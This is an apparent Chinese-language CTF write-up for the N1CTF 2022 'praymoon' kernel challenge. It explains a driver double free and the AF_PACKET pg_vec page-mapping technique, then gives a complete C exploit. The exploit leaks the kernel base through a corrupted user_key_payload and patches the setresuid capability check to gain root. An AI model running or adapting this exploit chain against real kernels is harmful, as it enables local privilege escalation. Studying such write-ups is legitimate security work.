unsigned int tp_frame_nr;
};

struct tpacket_req3 {
unsigned int tp_block_size; /* Minimal size of contiguous block */
unsigned int tp_block_nr; /* Number of blocks */
unsigned int tp_frame_size; /* Size of frame */
unsigned int tp_frame_nr; /* Total number of frames */
unsigned int tp_retire_blk_tov; /* timeout in msecs */
unsigned int tp_sizeof_priv; /* offset to private data area */
unsigned int tp_feature_req_word;
};

/* tpacket version for setsockopt */
enum tpacket_versions
{
TPACKET_V1,
TPACKET_V2,
TPACKET_V3,
};

#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif


void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
puts("[X] setsockopt(PACKET_VERSION)");
exit(-1);
}

struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;

rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
puts("setsockopt(PACKET_RX_RING)");
exit(-1);
}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
puts("socket(AF_PACKET)");
exit(-1);
}

packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);

struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;

int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
puts("bind(AF_PACKET)");
exit(-1);
}

return s;
}

int alloc_pgv(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}

定义好如上内容后,使用如下方式即可简单地获得一个指定大小的,由pg_vec数组组成的obj

1
int packet_fd = alloc_pgv(count, 0x1000);

count 是指pg_vec中含有的struct pgv的数量。而struct pgv的定义如下:

1
2
3
struct pgv {
char *buffer;
};

因此,若我们要申请一个大小为0x130obj,即可以使用如下方式:

1
int packet_fd = alloc_pgv(0x130 / 8, 0x1000);

分配pg_vec之前还要先分配一个0x20obj

篡改虚拟内存数组的内容

我们可以利用setxattr等来将pg_vec这个obj中每一个struct pgv指向的地址都改为内核代码的地址

将虚拟地址映射到用户态

我们通过刚刚得到的packet_fd来将虚拟地址映射到用户态,随后在用户态修改内容即可

使用如下方式映射:

1
char *page = mmap(NULL, 0x1000 * (count / 8), PROT_READ | PROT_WRITE, MAP_SHARED, packet_fd, 0);

漏洞原理

setsockopt()调用packet_set_ring()时,版本为TPACKET_V3会通过init_prb_bdqc()对接收环进行初始化时,packet_ring_buffer.prb_bdqc.pkbdq持有一个pg_vec引用,并且后期释放操作并没有对该位置进行清除。进而版本转换为TPACKET_V2时,rx_owner_mapprb_bdqc为一个联合体,并且偏移一致,导致残留的pg_vec会变成rx_owner_map指针,导致最后释放操作的时候,造成doble free

N1CTF-2022-praymoon

漏洞分析

linux5.18.10,开启KASLR、SMEP、SMAP、KPTI

run.sh

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 oops=panic panic=1 quiet kaslr" \
-cpu kvm64,+smep,+smap\
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-no-reboot

内核版本

1
2
/ $ uname -a
Linux (none) 5.18.10 #7 SMP PREEMPT_DYNAMIC Tue Nov 1 19:07:02 UTC 2022 x86_64 GNU/Linux

KPTI

1
2
3
4
5
6
7
8
9
10
11
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Not affected
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Retpolines, STIBP: disabled, RSB filling
Not affected
Not affected

init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/sh

mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
echo 1 > /proc/sys/vm/unprivileged_userfaultfd

insmod /praymoon.ko
chmod 666 /dev/seven
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /tmp


poweroff -d 0 -f

编译选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
CONFIG_SLAB_FREELIST_RANDOM=y // SLAB/SLUB 空闲链表随机化
CONFIG_SLAB_FREELIST_HARDENED=y // 空闲链表加固
CONFIG_SHUFFLE_PAGE_ALLOCATOR=y // 页分配器随机化

CONFIG_STATIC_USERMODEHELPER=y // 启用静态 usermode helper 路径
CONFIG_STATIC_USERMODEHELPER_PATH="" // 路径设成空字符串(禁用call_usermodehelper/modprobe_path)

CONFIG_MEMCG=y // 启用 memory cgroup
CONFIG_MEMCG_SWAP=y // 统计/限制 swap 使用2
CONFIG_MEMCG_KMEM=y // 把 kernel memory纳入 memcg

CONFIG_DEBUG_LIST=y // 链表调试(内核会检查 list_head 操作是否合法)

CONFIG_HARDENED_USERCOPY=y // 加强 copy_to_user/copy_from_user 边界检查

ida

只有一个ioctl接口,可以一次kmalloc(0x200),两次kfree,这里有double free

image-20260616172531066

目前已知的非固定大小结构体有msg_msg和user_key_payload

msg_msg的申请 带了GFP_KERNEL_ACCOUNT标志(会独立存在),而驱动在申请内存时没有使用该标志,所以它们的堆是隔离开的,无法构成利用

user_key_payload中有datalen长度信息,利用double free(UAF)漏洞结合userfaultfd+setxattr可以改掉datalen,于是通过keyctl操作可以越界读取堆上的内容,泄露内核地址

漏洞利用:

  • 创建子进程,子进程中创建命名空间
image-20260616204443828
  • kmalloc
image-20260616201246200
  • kfree
image-20260616201526124
  • user_key_payload占住堆块
image-20260616202450851
  • kfree
image-20260616201930091
  • setxattr kmalloc:改写user_key_payload的datalen,结合userfaultfd,延迟3s释放
image-20260616203653574
  • keyctl_read: 越界读取堆上的内容,泄露内核基址(从data开始读起)
image-20260616203653574 image-20260616203229774
  • keyctl revoke:释放user_key_payload占用的堆块
image-20260616204124467
  • packet socket:alloc_pg_vec()中kcalloc时占住堆块
image-20260616204325855
  • setxattr kfree:延迟3s后的释放
image-20260616204343484
  • setxattr malloc:申请的不一定是目标堆块,结合userfaultfd多做几次申请,提高成功率
image-20260616204602140 image-20260616204629957
  • 通过mmap映射到用户态,改写内核代码段逻辑(如_sys_setresuid),使普通用户可以通过调用setresuid(0, 0, 0);getshell
image-20260616205457977

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
#define _GNU_SOURCE
#include <time.h>
#include <stdint.h>
#include <arpa/inet.h>
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <gelf.h>
#include <libelf.h>
#include <net/ethernet.h>
#include <linux/userfaultfd.h>
#include <linux/if_packet.h>
#include <linux/keyctl.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <ctype.h>
#include <inttypes.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/xattr.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <net/if.h>

#define COLOR_RED "\033[31m"
#define COLOR_GREEN "\033[32m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_BLUE "\033[34m"
#define COLOR_RESET "\033[0m"
#define COLOR_BOLD "\033[1m"

#define log_error(fmt, ...) \
do { \
fprintf(stderr, COLOR_RED "[x] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \
} while (0)

#define log_info(fmt, ...) \
do { \
fprintf(stdout, COLOR_BLUE "[*] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \
} while (0)

#define log_success(fmt, ...) \
do { \
fprintf(stdout, COLOR_GREEN "[+] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \
} while (0)

#define log_protection(name, enabled) \
do { \
fprintf(stdout, " \033[37m%-12s:\033[0m %s%s%s\n", name, \
(enabled) ? COLOR_GREEN : COLOR_RED, \
(enabled) ? "enabled" : "disabled", COLOR_RESET); \
} while (0)

static inline void err_exit(const char *fmt, ...) __attribute__((noreturn));
static inline void err_exit(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
fprintf(stderr, COLOR_RED COLOR_BOLD "[!] fatal: " COLOR_RESET);
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
exit(EXIT_FAILURE);
}

static void bind_core(int core) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(core, &set);
if(sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
err_exit("sched_setaffinity(%d): %s", core, strerror(errno));
}
log_success("bind_core(%d)", core);
}

static void binary_dump(const char *desc, const void *addr, size_t len) {
const unsigned char *buf = (const unsigned char *)addr;

if (desc != NULL) {
log_success("%s", desc);
}

for (size_t off = 0; off < len; off += 32) {
printf(" %08zx: ", off);

for (size_t col = 0; col < 4; col++) {
size_t pos = off + col * 8;
for (size_t j = 0; j < 8; j++) {
size_t byte_pos = pos + j;
if (byte_pos < len) {
unsigned char c = buf[byte_pos];
const char *color = c == 0 ? COLOR_RESET : (isprint(c) ? COLOR_GREEN : COLOR_RED);
printf("%s%02x%s", color, c, COLOR_RESET);
} else {
printf(" ");
}
}

if (col != 3) {
putchar(' ');
}
}

printf(" ");
for (size_t j = 0; j < 32 && off + j < len; j++) {
unsigned char c = buf[off + j];
const char *color = c == 0 ? COLOR_RESET : (isprint(c) ? COLOR_GREEN : COLOR_RED);
printf("%s%c%s", color, isprint(c) ? c : '.', COLOR_RESET);
}
printf("\n");
}
}

void unshare_setup(void) {
int tmp_fd;
char buf[0x100];

if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) {
err_exit("unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)");
}

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
snprintf(buf, sizeof(buf), "deny");
write(tmp_fd, buf, strlen(buf));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buf, sizeof(buf), "0 %d 1", getuid());
write(tmp_fd, buf, strlen(buf));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buf, sizeof(buf), "0 %d 1", getgid());
write(tmp_fd, buf, strlen(buf));
close(tmp_fd);
}

#define PAGESIZE sysconf(_SC_PAGE_SIZE)

typedef struct {
size_t idx;
size_t size;
char *buf;
} userarg;

void *UserfaultHandler_sleep3(void *arg) {
uint64_t uffd = (uint64_t)arg;
struct uffd_msg msg;
struct pollfd pfd = {.fd = (int)uffd, .events = POLLIN};
struct uffdio_copy copy = {0};
int nready;

nready = poll(&pfd, 1, -1);
log_info("in usefaultfd handler, i will sleep 3s");
sleep(3);

if(nready != 1 ) err_exit("Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if(nready <= 0) err_exit("msg err");

char *page = (char *)mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED) err_exit("mmap fail");
memset(page, 0, PAGESIZE);

copy.src = (unsigned long)page;
copy.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGESIZE - 1);
copy.len = PAGESIZE;
copy.mode = 0;
copy.copy = 0;
if(ioctl((int)uffd, UFFDIO_COPY, &copy) == -1) {
err_exit("uffdio_copy err");
}
log_success("leak handler done\n");
return NULL;
}

void *UserfaultHandler_sleep20(void *arg) {
uint64_t uffd = (uint64_t)arg;
struct uffd_msg msg;
struct pollfd pfd = {.fd = (int)uffd, .events = POLLIN};
struct uffdio_copy copy = {0};
int nready;

nready = poll(&pfd, 1, -1);
log_info("in usefaultfd handler, i will sleep 20s");
sleep(20);

if(nready != 1 ) err_exit("Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if(nready <= 0) err_exit("msg err");

char *page = (char *)mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED) err_exit("mmap fail");
memset(page, 0, PAGESIZE);

copy.src = (unsigned long)page;
copy.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGESIZE - 1);
copy.len = PAGESIZE;
copy.mode = 0;
copy.copy = 0;
if(ioctl((int)uffd, UFFDIO_COPY, &copy) == -1) {
err_exit("uffdio_copy err");
}
log_success("leak handler done\n");
return NULL;
}


void RegisterUserfault(void *faultpage, void *(*handler)(void *)) {
pthread_t monitor_thread;

uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);


struct uffdio_api api = {
.api = UFFD_API,
.features = 0
};
if(ioctl((int)uffd, UFFDIO_API, &api) == -1) err_exit("ioctl-UFFDIO_API");

struct uffdio_register reg = {
.range =
{
.start = (unsigned long)faultpage,
.len = PAGESIZE,
},
.mode = UFFDIO_REGISTER_MODE_MISSING,
};
if (ioctl((int)uffd, UFFDIO_REGISTER, &reg) == -1) err_exit("ioctl-UFFDIO_REGISTER");

if (pthread_create(&monitor_thread, NULL, handler,
(void *)uffd) != 0) {
err_exit("pthread_create");
}

return ;
}



#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif


void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) err_exit("setsockopt(PACKET_VERSION)");

struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;

rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) err_exit("setsockopt(PACKET_RX_RING)");

}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) err_exit("socket(AF_PACKET)");

packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);

struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;

int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) err_exit("bind(AF_PACKET)");
return s;
}

int alloc_pgv(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}
static const uint64_t vmlinux_link_base = 0xffffffff81000000ULL;
static size_t kernel_offset = 0;

uint64_t bzImage_base;
uint64_t crypto_larval_destroy = 0xffffffff8143E280;
uint64_t keyring_assoc_array_ops = 0xffffffff8224ba00;

#define SETRESUID_PATCH_PAGE_BASE 0xffffffff81086000ULL
#define SETRESUID_CAP_CHECK_JMP_ADDR 0xffffffff81086fd8ULL
#define SETRESUID_PATCH_OFFSET \
(SETRESUID_CAP_CHECK_JMP_ADDR - SETRESUID_PATCH_PAGE_BASE)

int dev_fd;
uint8_t *G_addr;
uint8_t *G_addr1;

void seven_kmalloc(void) {
ioctl(dev_fd, 0x5555);
}

void seven_kfree(void) {
ioctl(dev_fd, 0x6666);
}

void *setxattr_thread(void *addr_arg) {
setxattr("/exp", "star", addr_arg, 0x200, 0);
return NULL;
}

int key_alloc(char *description, char *payload, size_t plen) {
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}

int key_read(int key_id, char *payload, size_t plen) {
return syscall(__NR_keyctl, KEYCTL_READ, key_id, payload, plen);
}

int key_revoke(int key_id) {
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id, 0, 0, 0);
}


int main(void) {

bind_core(0);

int packet_fds = 0;
int i = 0;

pid_t pid = fork();
if(!pid) {
unshare_setup();

if((dev_fd = open("/dev/seven", O_RDWR)) < 0) err_exit("open device fail");
log_success("open device successd");

G_addr = mmap(NULL, 0x2000, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(G_addr == MAP_FAILED) err_exit("mmap G_addr fail");
RegisterUserfault(G_addr + 0x1000, UserfaultHandler_sleep20);

G_addr1 = mmap(NULL, 0x2000, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(G_addr1 == MAP_FAILED) err_exit("mmap G_addr1 fail");
RegisterUserfault(G_addr1 + 0x1000, UserfaultHandler_sleep3);

for(int k = 0x150; k > 0x0; k -= 0x8){
*(uint64_t*)(G_addr1 + 0x1000 - k) = 'd';
}
*(uint64_t*)(G_addr1 + 0x1000 - 0x150) = 0x11111111;
*(uint64_t*)(G_addr1 + 0x1000 - 0x148) = 0x22222222;
*(uint64_t*)(G_addr1 + 0x1000 - 0x140) = 0x1000;

seven_kmalloc();
seven_kfree();

char *in_buf = (char *)malloc(0x100);
memset(in_buf, 'a', 0x100);
int key_fd = key_alloc("description1", in_buf, 0xF0);
log_success("key_fd: %d", key_fd);

seven_kfree();

pthread_t thr1;
pthread_create(&thr1, NULL, setxattr_thread, G_addr1 + 0x1000 - 0x150);
sleep(1);

char *retbuf = (char *)malloc(0x1000);
memset(retbuf, 0, 0x1000);

int tmp = key_read(key_fd, retbuf, 0x1000);
log_success("tmp: %d", tmp);

binary_dump("content", retbuf, 0x1000);

for(i = 0;i < 0x200; i++){
uint64_t temp_value = *(uint64_t*)(retbuf+i*8);
if(((temp_value>>32) == 0xffffffff) && ((temp_value & 0xfff) == 0xa00)){
bzImage_base = temp_value - (crypto_larval_destroy - vmlinux_link_base);
log_success("bzImage_base is: 0x%lx", bzImage_base);
break;
}
}

if(i == 0x200) err_exit("failed leak, reboot and try again!");

key_revoke(key_fd);
sleep(1);

packet_fds = alloc_pgv(33, 0x1000);
log_success("alloc page done!");

sleep(1);
uint64_t setresuid_patch_page =
SETRESUID_PATCH_PAGE_BASE - vmlinux_link_base + bzImage_base;
for(int j = 0x150; j > 0x0; j = j-0x8){
*(uint64_t*)(G_addr + 0x1000 - j) = setresuid_patch_page;
}
*(uint64_t*)(G_addr + 0x1000 - 0x150) = setresuid_patch_page;

pthread_t thr_sleep;
pthread_t thr_sleep2;
pthread_create(&thr_sleep, NULL, setxattr_thread, G_addr + 0x1000 - 0x150);
sleep(1);
pthread_create(&thr_sleep2, NULL, setxattr_thread, G_addr + 0x1000 - 0x150);
sleep(1);

char *page = (char *)mmap(NULL, PAGESIZE * 33, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds, 0);
if(page == MAP_FAILED) err_exit("mmap packet ring fail");
log_success("mmap done");

page[SETRESUID_PATCH_OFFSET] = 0xeb;
pause();
} else {
sleep(8);
char buf[50] = {0};
log_info("new");
setresuid(0, 0, 0);
log_success("getuid: %d", getuid());
log_success("geteuid: %d", geteuid());
int fd1 = open("/flag", O_RDONLY);
log_success("fd: %d", fd1);
read(fd1, buf, 0x20);
log_success("flag: %s", buf);
system("/bin/sh");
}

pause();
return 0;
}

EOF CHECKSUM_OK

// EXTERNAL_CHANNEL

COMMENTS